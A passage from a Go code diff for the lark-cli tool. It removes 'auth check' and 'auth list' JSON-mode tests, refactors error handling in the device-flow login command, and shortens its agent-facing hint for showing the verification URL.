-// `lark-cli auth check` is a predicate command: its README contract is
-// `exit 0 = ok, 1 = missing`. The JSON answer goes to stdout; stderr stays
-// empty so callers can write `if lark-cli auth check ...; then ... fi`
-// without their logs getting polluted by an error envelope on the negative
-// branch. These tests pin that contract end-to-end through the dispatcher.
-
-func TestAuthCheckRun_NotLoggedIn_ExitOneWithStdoutOnly(t *testing.T) {
-	f, stdout, stderr, _ := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
-		// UserOpenId left empty: triggers the not_logged_in branch.
-	})
-
-	err := authCheckRun(&CheckOptions{Factory: f, Scope: "calendar:calendar:read"})
-
-	if got := output.ExitCodeOf(err); got != 1 {
-		t.Errorf("exit code = %d, want 1 (predicate 'missing' signal)", got)
-	}
-	var bare *output.BareError
-	if !errors.As(err, &bare) {
-		t.Fatalf("expected *output.BareError (ErrBare), got %T: %v", err, err)
-	}
-
-	if stderr.Len() != 0 {
-		t.Errorf("stderr must stay empty for predicate negative answer, got:\n%s", stderr.String())
-	}
-
-	var payload map[string]any
-	if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
-		t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
-	}
-	if payload["ok"] != false {
-		t.Errorf("stdout.ok = %v, want false", payload["ok"])
-	}
-	if payload["error"] != "not_logged_in" {
-		t.Errorf("stdout.error = %v, want 'not_logged_in'", payload["error"])
-	}
-}
-
-func TestAuthCheckRun_NoStoredToken_ExitOneWithStdoutOnly(t *testing.T) {
-	f, stdout, stderr, _ := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
-		UserOpenId: "ou_user", UserName: "tester",
-	})
-
-	err := authCheckRun(&CheckOptions{Factory: f, Scope: "calendar:calendar:read"})
-
-	if got := output.ExitCodeOf(err); got != 1 {
-		t.Errorf("exit code = %d, want 1", got)
-	}
-	if stderr.Len() != 0 {
-		t.Errorf("stderr must stay empty, got:\n%s", stderr.String())
-	}
-
-	var payload map[string]any
-	if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
-		t.Fatalf("stdout must be valid JSON: %v", err)
-	}
-	if payload["ok"] != false {
-		t.Errorf("stdout.ok = %v, want false", payload["ok"])
-	}
-	if payload["error"] != "no_token" {
-		t.Errorf("stdout.error = %v, want 'no_token'", payload["error"])
-	}
-}
-
-func TestAuthCheckRun_ScopedTokenPresent_ExitZero(t *testing.T) {
-	// Predicate command happy path: stored token covers every required
-	// scope. Exit must be 0 (nil error, not ErrBare), stdout carries the
-	// `{"ok":true,...}` JSON answer, and stderr stays empty so shell
-	// callers can rely on `if lark-cli auth check ...; then` without log
-	// pollution. Pairs with the two exit-1 negatives above so both
-	// branches of the predicate contract are pinned.
-	keyring.MockInit()
-	t.Setenv("HOME", t.TempDir())
-	t.Setenv("LARKSUITE_CLI_DATA_DIR", t.TempDir())
-
-	cfg := &core.CliConfig{
-		AppID:      "test-app",
-		AppSecret:  "test-secret",
-		Brand:      core.BrandFeishu,
-		UserOpenId: "ou_user",
-		UserName:   "tester",
-	}
-	now := time.Now()
-	if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
-		AppId:            cfg.AppID,
-		UserOpenId:       cfg.UserOpenId,
-		AccessToken:      "user-access-token",
-		RefreshToken:     "refresh-token",
-		ExpiresAt:        now.Add(time.Hour).UnixMilli(),
-		RefreshExpiresAt: now.Add(24 * time.Hour).UnixMilli(),
-		GrantedAt:        now.Add(-time.Hour).UnixMilli(),
-		Scope:            "im:message docx:document",
-	}); err != nil {
-		t.Fatalf("SetStoredToken() error = %v", err)
-	}
-
-	f, stdout, stderr, _ := cmdutil.TestFactory(t, cfg)
-
-	err := authCheckRun(&CheckOptions{Factory: f, Scope: "im:message"})
-
-	if err != nil {
-		t.Fatalf("expected nil error for happy path (exit 0), got %v", err)
-	}
-	if got := output.ExitCodeOf(err); got != 0 {
-		t.Errorf("exit code = %d, want 0", got)
-	}
-	if stderr.Len() != 0 {
-		t.Errorf("stderr must stay empty for predicate exit-0 answer, got:\n%s", stderr.String())
-	}
-
-	var payload map[string]any
-	if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
-		t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
-	}
-	if payload["ok"] != true {
-		t.Errorf("stdout.ok = %v, want true", payload["ok"])
-	}
-	granted, ok := payload["granted"].([]any)
-	if !ok || len(granted) != 1 || granted[0] != "im:message" {
-		t.Errorf("stdout.granted = %v, want [im:message]", payload["granted"])
-	}
-	if payload["missing"] != nil {
-		t.Errorf("stdout.missing = %v, want nil/absent on happy path", payload["missing"])
-	}
-	if _, has := payload["suggestion"]; has {
-		t.Errorf("stdout.suggestion must be absent on happy path; got %v", payload["suggestion"])
-	}
-}
-
-func TestAuthCheckRun_EmptyScopeIsValidationError(t *testing.T) {
-	// Scope validation is a real input error, not a predicate negative
-	// answer — it must surface as a typed ValidationError with the normal
-	// stderr envelope, distinct from the silent ErrBare predicate path.
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
-	})
-
-	err := authCheckRun(&CheckOptions{Factory: f, Scope: "   "})
-	if err == nil {
-		t.Fatal("expected validation error for empty --scope")
-	}
-	if got := output.ExitCodeOf(err); got != output.ExitValidation {
-		t.Errorf("exit code = %d, want ExitValidation (%d)", got, output.ExitValidation)
-	}
-}
--- a/cmd/auth/list.go
+++ b/cmd/auth/list.go
@@ -9,7 +9,6 @@ import (

 	"github.com/spf13/cobra"

-	"github.com/larksuite/cli/errs"
 	larkauth "github.com/larksuite/cli/internal/auth"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
@@ -19,7 +18,6 @@ import (
 // ListOptions holds all inputs for auth list.
 type ListOptions struct {
 	Factory *cmdutil.Factory
-	JSON    bool
 }

 // NewCmdAuthList creates the auth list subcommand.
@@ -36,7 +34,6 @@ func NewCmdAuthList(f *cmdutil.Factory, runF func(*ListOptions) error) *cobra.Co
 			return authListRun(opts)
 		},
 	}
-	cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
 	cmdutil.SetRisk(cmd, "read")

 	return cmd
@@ -47,20 +44,12 @@ func authListRun(opts *ListOptions) error {

 	multi, _ := core.LoadMultiAppConfig()
 	if multi == nil || len(multi.Apps) == 0 {
-		if opts.JSON {
-			output.PrintJson(f.IOStreams.Out, map[string]interface{}{
-				"ok":     true,
-				"users":  []map[string]interface{}{},
-				"reason": "not_configured",
-			})
-			return nil
-		}
 		// auth list is a read-only probe; the "configured but no users"
 		// branch below already returns exit 0 with a stderr hint, so we
 		// keep the same contract here. We still want the hint to be
 		// workspace-aware, so we pull the message+hint out of
 		// NotConfiguredError() instead of hard-coding it.
-		var cfgErr *errs.ConfigError
+		var cfgErr *core.ConfigError
 		if errors.As(core.NotConfiguredError(), &cfgErr) {
 			fmt.Fprintln(f.IOStreams.ErrOut, cfgErr.Message)
 			if cfgErr.Hint != "" {
@@ -72,14 +61,6 @@ func authListRun(opts *ListOptions) error {

 	app := multi.CurrentAppConfig(f.Invocation.Profile)
 	if app == nil || len(app.Users) == 0 {
-		if opts.JSON {
-			output.PrintJson(f.IOStreams.Out, map[string]interface{}{
-				"ok":     true,
-				"users":  []map[string]interface{}{},
-				"reason": "not_logged_in",
-			})
-			return nil
-		}
 		fmt.Fprintln(f.IOStreams.ErrOut, "No logged-in users. Run `lark-cli auth login` to log in.")
 		return nil
 	}
--- a/cmd/auth/list_test.go
+++ b/cmd/auth/list_test.go
@@ -4,7 +4,6 @@
 package auth

 import (
-	"encoding/json"
 	"strings"
 	"testing"

@@ -35,33 +34,6 @@ func TestAuthListRun_NotConfigured_ReturnsExitZero(t *testing.T) {
 	}
 }

-func TestAuthListRun_JSONMode_NotConfigured_WritesStdoutOnly(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-
-	f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
-	if err := authListRun(&ListOptions{Factory: f, JSON: true}); err != nil {
-		t.Fatalf("auth list should succeed when not configured (exit 0); got: %v", err)
-	}
-
-	var payload map[string]any
-	if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
-		t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
-	}
-	if payload["ok"] != true {
-		t.Errorf("stdout.ok = %v, want true", payload["ok"])
-	}
-	users, ok := payload["users"].([]any)
-	if !ok || len(users) != 0 {
-		t.Errorf("stdout.users = %v, want empty array", payload["users"])
-	}
-	if payload["reason"] != "not_configured" {
-		t.Errorf("stdout.reason = %v, want not_configured", payload["reason"])
-	}
-	if stderr.Len() != 0 {
-		t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
-	}
-}
-
 // TestAuthListRun_NotConfigured_AgentWorkspace_RoutesToBindHelp covers the
 // reason this hint exists workspace-aware in the first place: an AI agent
 // in OpenClaw / Hermes that probes auth list before binding gets routed to
@@ -85,48 +57,3 @@ func TestAuthListRun_NotConfigured_AgentWorkspace_RoutesToBindHelp(t *testing.T)
 		t.Errorf("agent hint must not mention config init: %s", out)
 	}
 }
-
-func TestAuthListRun_JSONMode_NoLoggedInUsers_WritesStdoutOnly(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-	writeLogoutConfig(t, nil)
-
-	f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
-	if err := authListRun(&ListOptions{Factory: f, JSON: true}); err != nil {
-		t.Fatalf("auth list should succeed when no users exist (exit 0); got: %v", err)
-	}
-
-	var payload map[string]any
-	if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
-		t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
-	}
-	if payload["ok"] != true {
-		t.Errorf("stdout.ok = %v, want true", payload["ok"])
-	}
-	users, ok := payload["users"].([]any)
-	if !ok || len(users) != 0 {
-		t.Errorf("stdout.users = %v, want empty array", payload["users"])
-	}
-	if payload["reason"] != "not_logged_in" {
-		t.Errorf("stdout.reason = %v, want not_logged_in", payload["reason"])
-	}
-	if stderr.Len() != 0 {
-		t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
-	}
-}
-
-func TestAuthListRun_DefaultMode_NoLoggedInUsers_KeepsTextOutput(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-	writeLogoutConfig(t, nil)
-
-	f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
-	if err := authListRun(&ListOptions{Factory: f}); err != nil {
-		t.Fatalf("auth list should succeed when no users exist (exit 0); got: %v", err)
-	}
-
-	if stdout.Len() != 0 {
-		t.Errorf("stdout must stay empty in default mode, got:\n%s", stdout.String())
-	}
-	if !strings.Contains(stderr.String(), "No logged-in users") {
-		t.Errorf("stderr = %q, want no-users hint", stderr.String())
-	}
-}
--- a/cmd/auth/login.go
+++ b/cmd/auth/login.go
@@ -13,12 +13,9 @@ import (

 	"github.com/spf13/cobra"

-	"github.com/larksuite/cli/errs"
-
 	larkauth "github.com/larksuite/cli/internal/auth"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/i18n"
 	"github.com/larksuite/cli/internal/output"
 	"github.com/larksuite/cli/internal/registry"
 	"github.com/larksuite/cli/shortcuts"
@@ -50,15 +47,14 @@ func NewCmdAuthLogin(f *cmdutil.Factory, runF func(*LoginOptions) error) *cobra.
 		Long: `Device Flow authorization login.

 For AI agents: this command blocks until the user completes authorization in the
-browser. If your harness or agent tool only delivers final turn messages, use --no-wait --json,
-send the verification URL (or QR code) to the user as your final message, end the turn, then
-run --device-code in a later step after the user confirms authorization. Use 'lark-cli auth qrcode'
-to generate QR codes (supports ASCII and PNG formats).`,
+browser. If your harness only delivers final turn messages, use --no-wait --json,
+send the verification URL to the user as your final message, end the turn, then
+run --device-code in a later step after the user confirms authorization.`,
 		RunE: func(cmd *cobra.Command, args []string) error {
 			if mode := f.ResolveStrictMode(cmd.Context()); mode == core.StrictModeBot {
-				return errs.NewValidationError(errs.SubtypeInvalidArgument,
-					"strict mode is %q, user login is disabled in this profile", mode).
-					WithHint("if the user explicitly wants to switch to user identity, see `lark-cli config strict-mode --help` (confirm with the user before switching; switching does NOT require re-bind)")
+				return output.ErrWithHint(output.ExitValidation, "command_denied",
+					fmt.Sprintf("strict mode is %q, user login is disabled in this profile", mode),
+					"if the user explicitly wants to switch to user identity, see `lark-cli config strict-mode --help` (confirm with the user before switching; switching does NOT require re-bind)")
 			}
 			opts.Ctx = cmd.Context()
 			if runF != nil {
@@ -72,13 +68,7 @@ to generate QR codes (supports ASCII and PNG formats).`,

 	cmd.Flags().StringVar(&opts.Scope, "scope", "", "scopes to request (space- or comma-separated). Combines additively with --domain/--recommend")
 	cmd.Flags().BoolVar(&opts.Recommend, "recommend", false, "request only recommended (auto-approve) scopes")
-	var helpBrand core.LarkBrand
-	if f != nil && f.Config != nil {
-		if cfg, err := f.Config(); err == nil && cfg != nil {
-			helpBrand = cfg.Brand
-		}
-	}
-	available := sortedKnownDomains(helpBrand)
+	available := sortedKnownDomains()
 	cmd.Flags().StringSliceVar(&opts.Domains, "domain", nil,
 		fmt.Sprintf("domain (repeatable or comma-separated, e.g. --domain calendar,task)\navailable: %s, all", strings.Join(available, ", ")))
 	cmd.Flags().StringSliceVar(&opts.Exclude, "exclude", nil,
@@ -124,7 +114,7 @@ func authLoginRun(opts *LoginOptions) error {
 	}

 	// Determine UI language from saved config
-	var lang i18n.Lang
+	lang := "zh"
 	if multi, _ := core.LoadMultiAppConfig(); multi != nil {
 		if app := multi.FindApp(config.ProfileName); app != nil {
 			lang = app.Lang
@@ -149,25 +139,25 @@ func authLoginRun(opts *LoginOptions) error {
 	// Expand --domain all to all available domains (from_meta projects + shortcut services)
 	for _, d := range selectedDomains {
 		if strings.EqualFold(d, "all") {
-			selectedDomains = sortedKnownDomains(config.Brand)
+			selectedDomains = sortedKnownDomains()
 			break
 		}
 	}

 	// Validate domain names and suggest corrections for unknown ones
 	if len(selectedDomains) > 0 {
-		knownDomains := allKnownDomains(config.Brand)
+		knownDomains := allKnownDomains()
 		for _, d := range selectedDomains {
 			if !knownDomains[d] {
 				if suggestion := suggestDomain(d, knownDomains); suggestion != "" {
-					return errs.NewValidationError(errs.SubtypeInvalidArgument, "unknown domain %q, did you mean %q?", d, suggestion).WithParam("--domain")
+					return output.ErrValidation("unknown domain %q, did you mean %q?", d, suggestion)
 				}
 				available := make([]string, 0, len(knownDomains))
 				for k := range knownDomains {
 					available = append(available, k)
 				}
 				sort.Strings(available)
-				return errs.NewValidationError(errs.SubtypeInvalidArgument, "unknown domain %q, available domains: %s", d, strings.Join(available, ", ")).WithParam("--domain")
+				return output.ErrValidation("unknown domain %q, available domains: %s", d, strings.Join(available, ", "))
 			}
 		}
 	}
@@ -175,17 +165,17 @@ func authLoginRun(opts *LoginOptions) error {
 	hasAnyOption := opts.Scope != "" || opts.Recommend || len(selectedDomains) > 0

 	if len(opts.Exclude) > 0 && !hasAnyOption {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "--exclude requires --scope, --domain, or --recommend to be specified").WithParam("--exclude")
+		return output.ErrValidation("--exclude requires --scope, --domain, or --recommend to be specified")
 	}

 	if !hasAnyOption {
 		if !opts.JSON && f.IOStreams.IsTerminal {
-			result, err := runInteractiveLogin(f.IOStreams, lang.Base(), msg, config.Brand)
+			result, err := runInteractiveLogin(f.IOStreams, lang, msg)
 			if err != nil {
 				return err
 			}
 			if result == nil {
-				return errs.NewValidationError(errs.SubtypeInvalidArgument, "no login options selected")
+				return output.ErrValidation("no login options selected")
 			}
 			selectedDomains = result.Domains
 			scopeLevel = result.ScopeLevel
@@ -201,7 +191,7 @@ func authLoginRun(opts *LoginOptions) error {
 			log(msg.HintFooter)
 			log("")
 			log("Note: this command blocks until authorization is complete. For non-streaming agent harnesses, use --no-wait --json, send the verification URL as the final message of the turn, then run --device-code in a later step after the user confirms authorization.")
-			return errs.NewValidationError(errs.SubtypeInvalidArgument, "please specify the scopes to authorize").WithParam("--scope")
+			return output.ErrValidation("please specify the scopes to authorize")
 		}
 	}

@@ -218,10 +208,10 @@ func authLoginRun(opts *LoginOptions) error {
 	if len(selectedDomains) > 0 || opts.Recommend {
 		var candidateScopes []string
 		if len(selectedDomains) > 0 {
-			candidateScopes = collectScopesForDomains(selectedDomains, "user", config.Brand)
+			candidateScopes = collectScopesForDomains(selectedDomains, "user")
 		} else {
 			// --recommend without --domain: all domains
-			candidateScopes = collectScopesForDomains(sortedKnownDomains(config.Brand), "user", config.Brand)
+			candidateScopes = collectScopesForDomains(sortedKnownDomains(), "user")
 		}

 		// Filter to auto-approve scopes if --recommend or interactive "common"
@@ -230,7 +220,7 @@ func authLoginRun(opts *LoginOptions) error {
 		}

 		if len(candidateScopes) == 0 && opts.Scope == "" {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument, "no matching scopes found, check domain/scope options")
+			return output.ErrValidation("no matching scopes found, check domain/scope options")
 		}

 		// Merge --scope additively with the resolved domain scopes.
@@ -250,13 +240,13 @@ func authLoginRun(opts *LoginOptions) error {
 	if len(opts.Exclude) > 0 {
 		excluded, unknown := applyExcludeScopes(finalScope, opts.Exclude)
 		if len(unknown) > 0 {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument,
+			return output.ErrValidation(
 				"these --exclude scopes are not present in the requested set: %s",
-				strings.Join(unknown, ", ")).WithParam("--exclude")
+				strings.Join(unknown, ", "))
 		}
 		finalScope = excluded
 		if strings.TrimSpace(finalScope) == "" {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument, "no scopes left after applying --exclude; nothing to authorize").WithParam("--exclude")
+			return output.ErrValidation("no scopes left after applying --exclude; nothing to authorize")
 		}
 	}

@@ -267,7 +257,7 @@ func authLoginRun(opts *LoginOptions) error {
 	}
 	authResp, err := larkauth.RequestDeviceAuthorization(httpClient, config.AppID, config.AppSecret, config.Brand, finalScope, f.IOStreams.ErrOut)
 	if err != nil {
-		return errs.NewAuthenticationError(errs.SubtypeUnknown, "device authorization failed: %v", err).WithCause(err)
+		return output.ErrAuth("device authorization failed: %v", err)
 	}

 	// --no-wait: return immediately with device code and URL
@@ -279,28 +269,21 @@ func authLoginRun(opts *LoginOptions) error {
 			"verification_url": authResp.VerificationUriComplete,
 			"device_code":      authResp.DeviceCode,
 			"expires_in":       authResp.ExpiresIn,
-			"hint": "**MUST generate QR code AND display it:** You MUST call lark-cli auth qrcode to convert verification_url into a QR code. This is a required step, do NOT skip it. Prefer PNG QR code (--output); use ASCII (--ascii) only when the user explicitly requests it." +
-				"**CRITICAL: You MUST include the QR image in your response.** Generating the file alone is NOT enough—use image tags, inline images, or file attachments to display it." +
-				"**Display order:** Output the URL first, then place the QR code image below the URL." +
-				"**URL Output Rules:** Treat verification_url as an opaque string that cannot be modified. Do NOT URL-encode/decode or add spaces/punctuation." +
-				"For agent harnesses that only deliver final turn messages, make the QR code image (or URL) the final message of the turn and return control to the user; do not block on --device-code in the same turn. **Before ending the turn, tell the user to come back and notify you after completing authorization.**" +
-				"**After the user confirms authorization:** YOU must execute `lark-cli auth login --device-code <device_code>` yourself." +
-				"**Do NOT cache verification_url or device_code for future use.** Always run `lark-cli auth login --no-wait --json` fresh when authorization is needed.",
+			"hint":             fmt.Sprintf("Show verification_url to the user exactly as returned by the CLI and treat it as an opaque string. Do not URL-encode or decode it, do not normalize or rewrite it, do not add %%20, spaces, or punctuation, and do not wrap it as Markdown link text; prefer a fenced code block containing only the raw URL. For agent harnesses that only deliver final turn messages, make the URL the final message of the turn and return control to the user; do not block on --device-code in the same turn. After the user confirms authorization in a later step, run: lark-cli auth login --device-code %s", authResp.DeviceCode),
 		}
 		encoder := json.NewEncoder(f.IOStreams.Out)
 		encoder.SetEscapeHTML(false)
 		if err := encoder.Encode(data); err != nil {
-			return errs.NewInternalError(errs.SubtypeSDKError, "failed to write JSON output: %v", err).WithCause(err)
+			return output.Errorf(output.ExitInternal, "internal", "failed to write JSON output: %v", err)
 		}
 		return nil
 	}

 	// Step 2: Show user code and verification URL.
-	// JSON mode embeds AgentTimeoutHint as a structured field so agents that
-	// capture stdout into a JSON parser see it without stream-mixing surprises.
-	// Text mode prints the hint to stderr only when running under a non-TTY
-	// (i.e. piped / agent harness), since humans reading a terminal don't need
-	// the agent-oriented instructions.
+	// Both branches surface AgentTimeoutHint, but on different channels:
+	// JSON mode embeds it as a structured field (so an agent that captures
+	// stdout into a JSON parser sees it without stream-mixing surprises),
+	// text mode prints to stderr (alongside the URL prompt).
 	if opts.JSON {
 		data := map[string]interface{}{
 			"event":                     "device_authorization",
@@ -313,14 +296,12 @@ func authLoginRun(opts *LoginOptions) error {
 		encoder := json.NewEncoder(f.IOStreams.Out)
 		encoder.SetEscapeHTML(false)
 		if err := encoder.Encode(data); err != nil {
-			return errs.NewInternalError(errs.SubtypeSDKError, "failed to write JSON output: %v", err).WithCause(err)
+			return output.Errorf(output.ExitInternal, "internal", "failed to write JSON output: %v", err)
 		}
 	} else {
 		fmt.Fprintf(f.IOStreams.ErrOut, msg.OpenURL)
 		fmt.Fprintf(f.IOStreams.ErrOut, "  %s\n\n", authResp.VerificationUriComplete)
-		if f.IOStreams != nil && !f.IOStreams.IsTerminal {
-			fmt.Fprintln(f.IOStreams.ErrOut, msg.AgentTimeoutHint)
-		}
+		fmt.Fprintln(f.IOStreams.ErrOut, msg.AgentTimeoutHint)
 	}

 	// Step 3: Poll for token
@@ -336,25 +317,25 @@ func authLoginRun(opts *LoginOptions) error {
 				"event": "authorization_failed",
 				"error": result.Message,
 			}); err != nil {
-				return errs.NewInternalError(errs.SubtypeSDKError, "failed to write JSON output: %v", err).WithCause(err)
+				return output.Errorf(output.ExitInternal, "internal", "failed to write JSON output: %v", err)
 			}
 			return output.ErrBare(output.ExitAuth)
 		}
-		return errs.NewAuthenticationError(errs.SubtypeUnknown, "authorization failed: %s", result.Message)
+		return output.ErrAuth("authorization failed: %s", result.Message)
 	}
 	if result.Token == nil {
-		return errs.NewAuthenticationError(errs.SubtypeTokenMissing, "authorization succeeded but no token returned")
+		return output.ErrAuth("authorization succeeded but no token returned")
 	}

 	// Step 6: Get user info
 	log(msg.AuthSuccess)
 	sdk, err := f.LarkClient()
 	if err != nil {
-		return errs.NewInternalError(errs.SubtypeSDKError, "failed to get SDK: %v", err).WithCause(err)
+		return output.ErrAuth("failed to get SDK: %v", err)
 	}
 	openId, userName, err := getUserInfo(opts.Ctx, sdk, result.Token.AccessToken)
 	if err != nil {
-		return errs.NewAuthenticationError(errs.SubtypeUnknown, "failed to get user info: %v", err).WithCause(err)
+		return output.ErrAuth("failed to get user info: %v", err)
 	}

 	scopeSummary := loadLoginScopeSummary(config.AppID, openId, finalScope, result.Token.Scope)
@@ -372,13 +353,13 @@ func authLoginRun(opts *LoginOptions) error {
 		GrantedAt:        now,
 	}
 	if err := larkauth.SetStoredToken(storedToken); err != nil {
-		return errs.NewInternalError(errs.SubtypeStorage, "failed to save token: %v", err).WithCause(err)
+		return output.Errorf(output.ExitInternal, "internal", "failed to save token: %v", err)
 	}

 	// Step 8: Update config — overwrite Users to single user, clean old tokens
 	if err := syncLoginUserToProfile(config.ProfileName, config.AppID, openId, userName); err != nil {
 		_ = larkauth.RemoveStoredToken(config.AppID, openId)
-		return err
+		return output.Errorf(output.ExitInternal, "internal", "failed to update login profile: %v", err)
 	}

 	if issue := ensureRequestedScopesGranted(finalScope, result.Token.Scope, msg, scopeSummary); issue != nil {
@@ -407,11 +388,10 @@ func authLoginPollDeviceCode(opts *LoginOptions, config *core.CliConfig, msg *lo
 			fmt.Fprintf(f.IOStreams.ErrOut, "[lark-cli] [WARN] auth login: failed to remove cached requested scopes: %v\n", err)
 		}
 	}
-	// Skip the stderr hint in JSON mode (the --no-wait call that issued
-	// the device_code already surfaced it as a JSON field), and also skip it
-	// when running on an interactive terminal — the agent-oriented
-	// instructions only matter for piped / harness environments.
-	if !opts.JSON && f.IOStreams != nil && !f.IOStreams.IsTerminal {
+	// Skip the stderr hint in JSON mode — the --no-wait call that issued the
+	// device_code already returned the hint as a JSON field, and writing
+	// text to stderr would pollute consumers that combine streams via 2>&1.
+	if !opts.JSON {
 		fmt.Fprintln(f.IOStreams.ErrOut, msg.AgentTimeoutHint)
 	}
 	log(msg.WaitingAuth)
@@ -422,22 +402,22 @@ func authLoginPollDeviceCode(opts *LoginOptions, config *core.CliConfig, msg *lo
 		if shouldRemoveLoginRequestedScope(result) {
 			cleanupRequestedScope()
 		}
-		return errs.NewAuthenticationError(errs.SubtypeUnknown, "authorization failed: %s", result.Message)
+		return output.ErrAuth("authorization failed: %s", result.Message)
 	}
 	defer cleanupRequestedScope()
 	if result.Token == nil {
-		return errs.NewAuthenticationError(errs.SubtypeTokenMissing, "authorization succeeded but no token returned")
+		return output.ErrAuth("authorization succeeded but no token returned")
 	}

 	// Get user info
 	log(msg.AuthSuccess)
 	sdk, err := f.LarkClient()
 	if err != nil {
-		return errs.NewInternalError(errs.SubtypeSDKError, "failed to get SDK: %v", err).WithCause(err)
+		return output.ErrAuth("failed to get SDK: %v", err)
 	}
 	openId, userName, err := getUserInfo(opts.Ctx, sdk, result.Token.AccessToken)
 	if err != nil {
-		return errs.NewAuthenticationError(errs.SubtypeUnknown, "failed to get user info: %v", err).WithCause(err)
+		return output.ErrAuth("failed to get user info: %v", err)
 	}

 	scopeSummary := loadLoginScopeSummary(config.AppID, openId, requestedScope, result.Token.Scope)
@@ -455,13 +435,13 @@ func authLoginPollDeviceCode(opts *LoginOptions, config *core.CliConfig, msg *lo
 		GrantedAt:        now,
 	}
 	if err := larkauth.SetStoredToken(storedToken); err != nil {
-		return errs.NewInternalError(errs.SubtypeSDKError, "failed to save token: %v", err).WithCause(err)
+		return output.Errorf(output.ExitInternal, "internal", "failed to save token: %v", err)
 	}

 	// Update config — overwrite Users to single user, clean old tokens
 	if err := syncLoginUserToProfile(config.ProfileName, config.AppID, openId, userName); err != nil {
 		_ = larkauth.RemoveStoredToken(config.AppID, openId)
-		return errs.NewInternalError(errs.SubtypeSDKError, "failed to update login profile: %v", err).WithCause(err)
+		return output.Errorf(output.ExitInternal, "internal", "failed to update login profile: %v", err)
 	}

 	if issue := ensureRequestedScopesGranted(requestedScope, result.Token.Scope, msg, scopeSummary); issue != nil {
@@ -472,22 +452,21 @@ func authLoginPollDeviceCode(opts *LoginOptions, config *core.CliConfig, msg *lo
 	return nil
 }

-// syncLoginUserToProfile persists the logged-in user info into the named profile.
 func syncLoginUserToProfile(profileName, appID, openID, userName string) error {
 	multi, err := core.LoadMultiAppConfig()
 	if err != nil {
-		return errs.NewInternalError(errs.SubtypeStorage, "load config: %v", err).WithCause(err)
+		return fmt.Errorf("load config: %w", err)
 	}

 	app := findProfileByName(multi, profileName)
 	if app == nil {
-		return errs.NewConfigError(errs.SubtypeNotConfigured, "profile %q not found in config", profileName)
+		return fmt.Errorf("profile %q not found in config", profileName)
 	}

 	oldUsers := append([]core.AppUser(nil), app.Users...)
 	app.Users = []core.AppUser{{UserOpenId: openID, UserName: userName}}
 	if err := core.SaveMultiAppConfig(multi); err != nil {
-		return errs.NewInternalError(errs.SubtypeStorage, "save config: %v", err).WithCause(err)
+		return fmt.Errorf("save config: %w", err)
 	}

 	for _, oldUser := range oldUsers {
@@ -498,7 +477,6 @@ func syncLoginUserToProfile(profileName, appID, openID, userName string) error {
 	return nil
 }

-// findProfileByName returns the AppConfig matching profileName, or nil.
 func findProfileByName(multi *core.MultiAppConfig, profileName string) *core.AppConfig {
 	for i := range multi.Apps {
 		if multi.Apps[i].ProfileName() == profileName {
@@ -512,7 +490,7 @@ func findProfileByName(multi *core.MultiAppConfig, profileName string) *core.App
 // shortcut scopes for the given domain names.
 // Domains with auth_domain children are automatically expanded to include
 // their children's scopes.
-func collectScopesForDomains(domains []string, identity string, brand core.LarkBrand) []string {
+func collectScopesForDomains(domains []string, identity string) []string {
 	scopeSet := make(map[string]bool)

 	// 1. API scopes from from_meta projects
@@ -531,9 +509,6 @@ func collectScopesForDomains(domains []string, identity string, brand core.LarkB

 	// 3. Shortcut scopes matching by Service (only include shortcuts supporting the identity)
 	for _, sc := range shortcuts.AllShortcuts() {
-		if !shortcuts.IsShortcutServiceAvailable(sc.Service, brand) {
-			continue
-		}
 		if domainSet[sc.Service] && shortcutSupportsIdentity(sc, identity) {
 			for _, s := range sc.DeclaredScopesForIdentity(identity) {
 				scopeSet[s] = true
@@ -553,7 +528,7 @@ func collectScopesForDomains(domains []string, identity string, brand core.LarkB
 // allKnownDomains returns all valid auth domain names (from_meta projects +
 // shortcut services), excluding domains that have auth_domain set (they are
 // folded into their parent domain).
-func allKnownDomains(brand core.LarkBrand) map[string]bool {
+func allKnownDomains() map[string]bool {
 	domains := make(map[string]bool)
 	for _, p := range registry.ListFromMetaProjects() {
 		if !registry.HasAuthDomain(p) {
@@ -561,9 +536,6 @@ func allKnownDomains(brand core.LarkBrand) map[string]bool {
 		}
 	}
 	for _, sc := range shortcuts.AllShortcuts() {
-		if !shortcuts.IsShortcutServiceAvailable(sc.Service, brand) {
-			continue
-		}
 		if !registry.HasAuthDomain(sc.Service) {
 			domains[sc.Service] = true
 		}
@@ -572,8 +544,8 @@ func allKnownDomains(brand core.LarkBrand) map[string]bool {
 }

 // sortedKnownDomains returns all valid domain names sorted alphabetically.
-func sortedKnownDomains(brand core.LarkBrand) []string {
